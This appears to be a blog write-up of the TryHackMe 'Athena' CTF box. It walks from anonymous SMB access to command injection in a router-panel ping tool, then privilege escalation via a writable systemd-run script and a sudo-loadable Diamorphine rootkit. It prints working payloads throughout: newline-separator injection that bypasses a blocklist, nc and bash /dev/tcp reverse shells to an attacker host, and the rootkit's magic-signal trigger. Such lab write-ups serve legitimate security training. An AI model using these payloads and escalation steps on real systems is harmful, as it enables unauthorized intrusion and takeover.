close
Skip to main content

Command Palette

Search for a command to run...

TryHackMe : Athena Writeup

Updated
8 min readView as Markdown
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Overview

Athena is an easy-rated TryHackMe box that chains a leaked internal path (found via an anonymous SMB share) into a command injection vulnerability in a "router panel" ping tool, followed by a writable backup script abused via a systemd service running as a second user, and finished off with a misconfigured sudo rule that lets that user load an arbitrary kernel module - in this case a customized build of the Diamorphine LKM rootkit that grants instant root via a magic signal.

Recon

nmap -A -Pn <MACHINE_IP> -o map
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Athena - Gods of olympus
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: ROUTERPANEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Three services in scope: SSH, an Apache-hosted site themed around the goddess Athena, and Samba/SMB. The NetBIOS name ROUTERPANEL was an early hint at what was hiding behind the web app.

Web Enumeration

The homepage (curl http://<MACHINE_IP>/) is a static lore page about Athena - no obvious functionality, just flavor text and an image.

Directory brute-forcing turned up nothing interesting:

ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4348ms]
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4346ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 57ms]
whatweb http://<MACHINE_IP>
http://<MACHINE_IP> [200 OK] Apache[2.4.41], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], Meta-Author[matheuz], Title[Athena - Gods of olympus]

Nothing actionable on the web side by itself - moved to SMB.

SMB Enumeration

nxc smb <MACHINE_IP> -u guest -p ''
SMB   <MACHINE_IP>   445   ROUTERPANEL   [*] Unix - Samba (name:ROUTERPANEL) (domain:ROUTERPANEL) (signing:False) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE_IP>   445   ROUTERPANEL   [-] ROUTERPANEL\guest: STATUS_LOGON_FAILURE

Guest failed, but null auth was flagged as supported - tried a blank username instead:

nxc smb <MACHINE_IP> -u '' -p ''
SMB   <MACHINE_IP>   445   ROUTERPANEL   [+] ROUTERPANEL\:

Successful anonymous login. Enumerated shares:

nxc smb <MACHINE_IP> -u '' -p '' --shares
Share   Permissions   Remark
-----   -----------   ------
public  READ
IPC$                  IPC Service (Samba 4.15.13-Ubuntu)

Connected and grabbed the one file on offer:

smbclient //<MACHINE_IP>/Public -N
smb: \> ls
  msg_for_administrator.txt           N      253  Sun Apr 16 20:54:43 2023
smb: \> get msg_for_administrator.txt
cat msg_for_administrator.txt
Dear Administrator,

I would like to inform you that a new Ping system is being developed and I left the corresponding application in a specific path, which can be accessed through the following address: /myrouterpanel

Yours sincerely,

Athena
Intern

An internal note leaking a hidden path - classic case of secrets ending up on an anonymously readable share.

Finding the Router Panel

curl http://<MACHINE_IP>/myrouterpanel/

Renders a "Simple Router Panel" page with a ping tool:

<form method="post" action="ping.php">
    <label for="ip">IP address: </label>
    <input type="text" name="ip" id="ip" required class="ip">
    <button type="submit" name="submit" class="button">Send</button>
</form>

Confirmed it actually pings:

curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=127.0.0.1&submit=Send'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.022 ms
...

Command Injection

The classic separators were all caught by an application-level filter:

curl ... --data-urlencode 'ip=127.0.0.1 && id' -d 'submit=Send'
→ Attempt hacking!

curl ... -d 'ip=127.0.0.1;whoami&submit=Send'
→ Attempt hacking!

curl ... -d 'ip=127.0.0.1|id&submit=Send'
→ Attempt hacking!

curl ... -d 'ip=127.0.0.1%26%26id&submit=Send'
→ Attempt hacking!

&&, ;, | were all blocklisted. A literal newline in the ip parameter was not:

curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=127.0.0.1%0Aid&submit=Send'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirmed OS command injection as www-data via a raw %0A (newline) separator, which the app's blocklist never accounted for.

Getting a Shell

Attempts using bash's /dev/tcp and Python pty.spawn reverse shells were both silently blocked by the same filter (likely matching on /dev/tcp or socket-related strings), even though a plain echo /dev/tcp and which nc both worked fine to confirm the binary existed and the path string itself wasn't blocked outright:

curl ... --data-urlencode $'ip=127.0.0.1\nbash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"' -d 'submit=Send'
→ Attempt hacking!

curl ... --data-urlencode $'ip=127.0.0.1\npython3 -c \'import socket,os,pty;...\'' -d 'submit=Send'
→ Attempt hacking!

Switched to a plain nc -e reverse shell instead, which worked outright:

curl http://<MACHINE_IP>/myrouterpanel/ping.php --data-urlencode $'ip=127.0.0.1\nnc <ATTACKER_IP> 4444 -e sh' -d 'submit=Send'

This is the payload that produced the actual working shell:

curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=%0A nc -c /bin/sh <ATTACKER_IP> 4444 &submit='
penelope listen -p 4444
[+] [New Reverse Shell] => routerpanel <MACHINE_IP> Linux-x86_64 www-data(33)
www-data@routerpanel:/var/www/html/myrouterpanel$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Landed as www-data.

Privilege Escalation: www-data -> athena

Enumerated /home and found two users, with direct access blocked:

www-data@routerpanel:/home$ ls
athena  ubuntu
www-data@routerpanel:/home$ cd athena/
bash: cd: athena/: Permission denied

Looked for files owned by athena anywhere on disk:

www-data@routerpanel:/home$ find / -type d -user athena 2>/dev/null
/home/athena
/usr/share/backup

/usr/share/backup stood out - inspected it:

www-data@routerpanel:/home$ ls -la /usr/share/backup
-rwxr-xr-x   1 www-data athena     258 May 28  2023 backup.sh

The script is owned by athena's group but writable by www-data (the current user owns the file outright):

www-data@routerpanel:/home$ cat /usr/share/backup/backup.sh
#!/bin/bash
backup_dir_zip=~/backup
mkdir -p "$backup_dir_zip"
cp -r /home/athena/notes/* "$backup_dir_zip"
zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"
rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh
echo "Backup completed..."

Checked what runs it - not cron, but a systemd service:

www-data@routerpanel:/home$ cat /etc/systemd/system/athena_backup.service
[Unit]
Description=Backup Athena Notes

[Service]
User=athena
Group=athena
ExecStart=/bin/bash /usr/share/backup/backup.sh
Restart=always
RestartSec=1min

[Install]
WantedBy=multi-user.target

Restart=always with a 1-minute RestartSec means this service re-executes the script on a loop, running as athena. Since www-data can write to the script, overwriting it hands over a shell as athena on the next restart cycle:

www-data@routerpanel:/home$ echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1' > /usr/share/backup/backup.sh
penelope listen -p 9001
[+] [New Reverse Shell] => routerpanel <MACHINE_IP> Linux-x86_64 athena(1001)
athena@routerpanel:/$ id
uid=1001(athena) gid=1001(athena) groups=1001(athena)

Landed as athena within the minute. Grabbed the user flag:

athena@routerpanel:~$ cat user.txt
flag{REDACTED}

Privilege Escalation: athena -> root

Checked sudo rights:

athena@routerpanel:~$ sudo -l
User athena may run the following commands on routerpanel:
    (root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko

athena can load one specific, pre-existing kernel module as root with no password. Checked what it actually is:

athena@routerpanel:~$ modinfo /mnt/.../secret/venom.ko
filename:       /mnt/.../secret/venom.ko
description:    LKM rootkit
author:         m0nad
license:        Dual BSD/GPL
name:           venom
vermagic:       5.15.0-69-generic SMP mod_unload modversions

The author m0nad and description "LKM rootkit" match Diamorphine, a well-known Linux kernel module rootkit whose stock build hides processes/files and grants root to any process that sends it a specific "magic" signal. This build is renamed venom and was recompiled with a non-default magic signal number rather than Diamorphine's usual 64 - decompiling the module's hacked_kill hook confirmed the actual trigger value:

int hacked_kill(pt_regs *pt_regs)
{
    ...
    iVar3 = (int)pt_regs->si;
    if (iVar3 == 0x39) {
        give_root();
        ...
    }
}

0x39 is 57 in decimal - so this build roots any process that sends it signal 57, not the stock Diamorphine default. Loaded the module via the permitted sudo rule, then sent the magic signal to the shell's own PID:

athena@routerpanel:~$ sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
athena@routerpanel:~$ kill -57 1

(Signal 64 was tried first per the public repo's documented default and was rejected - Operation not permitted - confirming the recompiled magic number had to be found via decompilation rather than assumed from upstream.)

athena@routerpanel:~$ id
uid=0(root) gid=0(root) groups=0(root),1001(athena)

Instant root. Grabbed the flag:

athena@routerpanel:/root$ cat root.txt
flag{REDACTED}

Flags

User: flag{REDACTED}
Root: flag{REDACTED}

Takeaways

  • Anonymous/null-session SMB access is still common on "easy" boxes and is worth checking even when guest login fails outright - blank username/password is a separate, distinct auth path in Samba.
  • Command injection filters that blocklist specific separators (&&, ;, |) are trivially bypassed with a raw newline (%0A) if the app doesn't also account for it - shells happily treat newlines as command separators.
  • When one payload style gets silently blocked (bash /dev/tcp, Python pty.spawn) but the target binary is confirmed present, try alternate tooling (nc -e) before assuming the vulnerability itself is dead.
  • A world/group-writable script driven by a Restart=always systemd service is a privilege escalation primitive even without direct cron access - overwrite the script, wait for the restart cycle, and the service's configured user runs your payload for you.
  • sudo -l entries granting a specific insmod on a specific .ko file are a strong signal to modinfo and reverse-engineer the module rather than assume upstream defaults - this box's rootkit was a modified Diamorphine build with a changed magic signal, and using the stock documented signal would have failed.
  • Tool referenced: m0nad/Diamorphine
    • the LKM rootkit this box's venom.ko is built from.